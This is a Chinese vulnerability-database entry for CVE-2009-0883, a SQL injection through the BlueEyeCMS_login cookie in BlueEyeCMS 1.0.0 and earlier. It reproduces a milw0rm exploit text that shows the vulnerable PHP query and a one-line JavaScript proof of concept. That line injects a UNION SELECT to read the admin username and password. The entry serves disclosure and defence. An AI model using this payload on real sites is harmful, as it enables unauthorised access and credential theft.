Amunak Blue Eye CMS 'BlueEyeCMS_login' Cookie参数SQL注入漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1117450 漏洞类型 SQL注入
发布时间 2009-03-06 更新时间 2009-03-13
CVE编号 CVE-2009-0883 CNNVD-ID CNNVD-200903-231
漏洞平台 PHP CVSS评分 6.8
|漏洞来源
https://www.exploit-db.com/exploits/8165
https://cxsecurity.com/issue/WLB-2009030177
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200903-231
|漏洞详情
BlueEyeCMS是一款开放源码的内容管理系统(CMS)BlueEyeCMS1.0.0版本及其早期版本中存在SQL注入漏洞,当magic_quotes_gpc被中止时,远程攻击者可以借助BlueEyeCMS_logincookie参数,执行任意SQL指令。
|漏洞EXP
#
# BlueEye CMS <= 1.0.0 Remote Cookie SQL Injection Vulnerability
# found by ka0x <ka0x01[alt+64]gmail.com>
# 

Download: http://kent.dl.sourceforge.net/sourceforge/blueeyecms/blue_eye_cms-1_0_0_preRC.rar
need magic_quotes_gpc = Off

- Vuln code:

10:	if (!empty($_COOKIE["BlueEyeCMS_login"])) { 	// --> Only??
11:		$c_login = $_COOKIE["BlueEyeCMS_login"]; // --> Not clean??
12:		$c_pass = $_COOKIE["BlueEyeCMS_pass"];
13:		$c_key = $_COOKIE["BlueEyeCMS_key"];
....	
16:	        $table = $db_prefix."users";
17:	        $query = mysql_query("SELECT id FROM `$table` WHERE `user` = '$c_login' AND `password` = '$c_pass' AND `key` = '$c_key'"); // -> VULN
18:          	$rows = mysql_num_rows($query); -> num rows of the query
19:          	$result = mysql_fetch_array($query);
....
21:      	if ($rows == 1) { // -> check if exists one row..
22:      		$logged = $c_login;
23:      		$logged_id = $result['id'];
24:      	}
....
204:	       <img src=\"themes/".$theme."/images/dots.png\">  Logged as: ".$logged." (ID: ".$logged_id.")<br>


- Proof Of Concept:
javascript:document.cookie = "BlueEyeCMS_login=' UNION SELECT concat(user,0x3A,password) FROM blueeye_users WHERE id=1/*; path=/";

# -EoF- #

# milw0rm.com [2009-03-06]
|参考资料

来源:XF
名称:blueeyecms-blueeyecmslogin-sql-injection(49104)
链接:http://xforce.iss.net/xforce/xfdb/49104
来源:BID
名称:34022
链接:http://www.securityfocus.com/bid/34022
来源:MILW0RM
名称:8165
链接:http://www.milw0rm.com/exploits/8165